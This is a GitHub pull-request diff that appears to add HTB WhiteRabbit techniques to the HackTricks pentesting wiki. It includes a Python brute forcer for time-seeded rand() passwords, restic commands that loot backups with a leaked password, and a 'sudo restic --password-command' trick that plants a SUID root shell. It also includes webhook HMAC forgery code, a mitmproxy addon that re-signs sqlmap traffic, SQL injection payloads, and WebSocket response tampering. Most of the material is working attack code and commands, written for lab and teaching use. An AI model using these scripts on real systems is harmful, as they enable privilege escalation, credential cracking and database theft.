Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions src/crypto-and-stego/crypto-ctfs-tricks.md
Original file line number Diff line number Diff line change
Expand Up @@ -292,12 +292,52 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)

## Predictable PRNG password generators

If you recover the timestamp of a password rotation (from syslog, a `command_log` table, etc.) and the binary seeds `srand()` with that time, you can recreate every password it could emit:

- Binaries compiled with `gettimeofday()` often set `seed = tv_sec * 1000 + (tv_usec / 1000)` and then pick characters from a fixed alphabet via `rand() % 62`. With only millisecond precision there are just 1,000 candidates per second.
- Use `ctypes` to call glibc’s `srand`/`rand` so you get identical output to the target binary.
- Generate the 1,000 candidates for the recorded second and try them offline (e.g., `ssh`, `su`, `hydra`). On HTB WhiteRabbit this immediately recovered `neo`’s password because the rotation time was logged as `2024-08-30 14:40:42`.

<details>
<summary>Python helper to brute-force seeds for a given timestamp</summary>

```python
#!/usr/bin/env python3
import ctypes
from datetime import datetime
import sys

CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
libc = ctypes.CDLL("libc.so.6")

if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} 'YYYY-MM-DD HH:MM:SS'")
sys.exit(1)

base = int(datetime.strptime(sys.argv[1], "%Y-%m-%d %H:%M:%S").timestamp())
for ms in range(1000):
seed = base * 1000 + ms
libc.srand(seed)
pw = ''.join(CHARSET[libc.rand() % len(CHARSET)] for _ in range(20))
print(pw)
```

</details>

Pipe the output into your favorite brute-force tool or test each candidate manually until one succeeds.

## Tools

- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)

## References

- [0xdf – HTB WhiteRabbit (time-seeded password cracking)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)

{{#include ../banners/hacktricks-training.md}}


Expand Down
23 changes: 23 additions & 0 deletions src/linux-hardening/privilege-escalation/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -939,6 +939,28 @@ In this example the user `demo` can run `vim` as `root`, it is now trivial to ge
sudo vim -c '!sh'
```

#### restic backups & --password-command abuse

Backup automation routinely leaks everything you need for lateral movement:

- **Harvest repository secrets from logs**: application tables such as `command_log`, `.bash_history`, or orchestrator audit trails often contain lines like `restic init --repo rest:http://75951e6ff.whiterabbit.htb` followed by `echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd`. Export both values and interact with the repository from your box:

```bash
RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw \
restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
RESTIC_PASSWORD=... restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./loot
```

- **Crack encrypted loot inside the snapshot**: operators frequently stash SSH keys in passworded 7z archives. Convert them with `7z2john` and recover the password with hashcat mode `11600`, then extract the keys and drop the provided `config` to pivot into hidden SSH daemons (e.g., port 2222 inside a container).

- **Exploit `sudo restic`**: restic’s `--password-command` runs a helper binary to fetch the repo password. If `sudo -l` grants `NOPASSWD: /usr/bin/restic`, that helper executes as root even when the main command fails, so you can plant a SUID shell:

```bash
sudo restic check --password-command 'cp /bin/bash /tmp/rootbash'
sudo restic check --password-command 'chmod 6777 /tmp/rootbash'
/tmp/rootbash -p
```

### SETENV

This directive allows the user to **set an environment variable** while executing something:
Expand Down Expand Up @@ -1818,6 +1840,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
- [0xdf – HTB Environment (sudo env_keep BASH_ENV β†’ root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [0xdf – HTB WhiteRabbit (restic NOPASSWD + leaked backups)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)

{{#include ../../banners/hacktricks-training.md}}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,65 @@ Impact to assess
- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.

### Replaying leaked webhook HMACs

Exported low-code workflows (e.g., n8n JSON) often include the exact Crypto node used to verify signed webhooks: the secret, the hashing algorithm, and even the expression used to canonicalize the body (commonly `JSON.stringify($json.body)`). Once that documentation leaks, you can faithfully reproduce the signature and send arbitrary events into the automation pipeline:

1. Minify the JSON body the same way the workflow does so the byte-for-byte representation matches. In Python: `json.dumps(obj, separators=(',', ':')).encode()`.
2. Rebuild the HMAC with the leaked secret and hashing algorithm.
3. Overwrite the signature header enforced by the API gateway (e.g., `x-gophish-signature: sha256=<hex>`), then send the forged body to the webhook UUID.

```python
import json, hmac, hashlib

secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
payload = {"campaign_id": 2, "email": "attacker@corp", "message": "Clicked Link"}
body = json.dumps(payload, separators=(',', ':')).encode()
sig = hmac.new(secret, body, hashlib.sha256).hexdigest()
headers = {"Content-Type": "application/json", "x-gophish-signature": f"sha256={sig}"}
```

Whitespaces do not matter because `JSON.stringify` strips them; any change to the semantic content, however, requires recomputing the HMAC. Once the webhook accepts attacker-controlled JSON, every downstream node (databases, ticketing tools, mailers, etc.) becomes reachable even though the original API seemed β€œsigned”.

### Proxy-based HMAC regeneration for automated testing

Automated scanners mutate payloads, so a static signature immediately becomes invalid. Drop a transparent proxy in front of your tooling that recomputes the HMAC before each request, allowing `sqlmap`, Intruder, or custom fuzzers to exercise the backend normally.

<details>
<summary>mitmproxy addon that re-signs JSON bodies</summary>

```python
#!/usr/bin/env python3
import hmac, hashlib, json
from mitmproxy import http

SECRET = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

def request(flow: http.HTTPFlow) -> None:
if not flow.request.content:
return
try:
data = json.loads(flow.request.content)
body = json.dumps(data, separators=(',', ':')).encode()
except json.JSONDecodeError:
body = flow.request.content
signature = hmac.new(SECRET, body, hashlib.sha256).hexdigest()
flow.request.headers["x-gophish-signature"] = f"sha256={signature}"
```

</details>

Usage:

```bash
mitmproxy -s signature_proxy.py -p 8888 --mode regular
sqlmap -u "http://target/webhook/<uuid>" --proxy=http://127.0.0.1:8888 \
--method POST --data '{"campaign_id":1,"email":"test","message":"Clicked"}' \
--headers "Content-Type: application/json" -p email --dbms mysql --batch
```

Every time `sqlmap` mutates the JSON (e.g., injecting `"foo";SELECT SLEEP(5)#`), the proxy transparently recalculates the signature, keeping the request valid while you enumerate boolean-, error-, time-based, or stacked-query primitives behind the HMAC gate.

### **Tools and Resources for API Pentesting**

- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
Expand All @@ -101,5 +160,6 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0

- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
- [0xdf – HTB WhiteRabbit (leaked webhook HMAC β†’ SQLi)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)

{{#include ../../banners/hacktricks-training.md}}
28 changes: 28 additions & 0 deletions src/pentesting-web/sql-injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -601,6 +601,33 @@ Basically you can use the scientific notation in unexpected ways for the WAF to
' or 1.e('')=
```

### Low-code workflow SQLi (n8n signed webhooks)

Automation suites such as **n8n** frequently build SQL queries by interpolating JSON fields straight into a template string:

```json
{
"type": "n8n-nodes-base.mySql",
"parameters": {
"operation": "executeQuery",
"query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1",
"options": {}
},
"onError": "continueErrorOutput"
}
```

If you can reach the webhook that feeds this workflow (even when it's β€œsigned”), you can inject payloads like `"test";SELECT SLEEP(5)#` because the expression is dropped into double quotes with no escaping. Many pipelines also route the error branch into a debugging `respondToWebhook` node such as `{{$json.message}} | {{JSON.stringify($json.error)}}`, which reflects raw MariaDB error strings or timing differences straight into the HTTP response.

Practical exploitation looks like this:

1. Forge the webhook signature if required (see the API pentesting chapter for rebuilding HMAC headers from leaked workflow exports).
2. Send malformed values to force an error and confirm that the SQL text echoing back contains your payload.
3. Switch to boolean/time/stacked payloads (`"foo" and sleep(5)#`, `"foo" rlike (select ...)`) and observe either the debug text or the response time.
4. Once confirmed, point `sqlmap` at the webhook through a signing proxy so every mutated JSON body is re-signed, giving you fully automated dumping of schemas such as `information_schema`, `phishing`, `temp`, etc.

Because every decision node trusts `$json.body.*` and `onError` is set to `continueErrorOutput`, even β€œinternal only” workflows become remote SQLi primitives the moment their webhook UUID or documentation leaks.

### Bypass Column Names Restriction

First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
Expand Down Expand Up @@ -674,5 +701,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
## References

- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [0xdf – HTB WhiteRabbit (n8n webhook SQLi chain)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)

{{#include ../../banners/hacktricks-training.md}}
20 changes: 20 additions & 0 deletions src/pentesting-web/websocket-attacks.md
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,25 @@ You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g
- [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.**

### Tampering server responses for UI-only auth bypass

When a Socket.IO login flow relies on a single boolean in the server-to-client frame (for example `{"type":"login","ok":false}`), you can sometimes trick the SPA into enabling privileged views without ever authenticating to the backend:

1. Send junk credentials so the application emits the `login` event and enable Burp's WebSocket interception.
2. When the response frame arrives, edit the fields the frontend trusts before forwarding it, e.g. flip `ok:false` to `ok:true` or drop the `error` payload:

```json
{"type":"login","ok":false,"msg":"Invalid login"}
```

β†’

```json
{"type":"login","ok":true,"msg":"OK"}
```

3. Keep interception enabled (or drop subsequent frames) so the socket stays frozen. The client assumes the login succeeded and renders cached components (like **Settings β†’ About** in Uptime Kuma) even though no valid session exists on the server. Anything that requires a fresh backend response will fail once you release the connection, so treat this as a short-lived recon trick to leak version banners, internal hostnames, etc.

## Decrypting Websocket

- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
Expand Down Expand Up @@ -341,5 +360,6 @@ h2c-smuggling.md
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
- [0xdf – HTB WhiteRabbit (WebSocket auth bypass + recon)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)

{{#include ../banners/hacktricks-training.md}}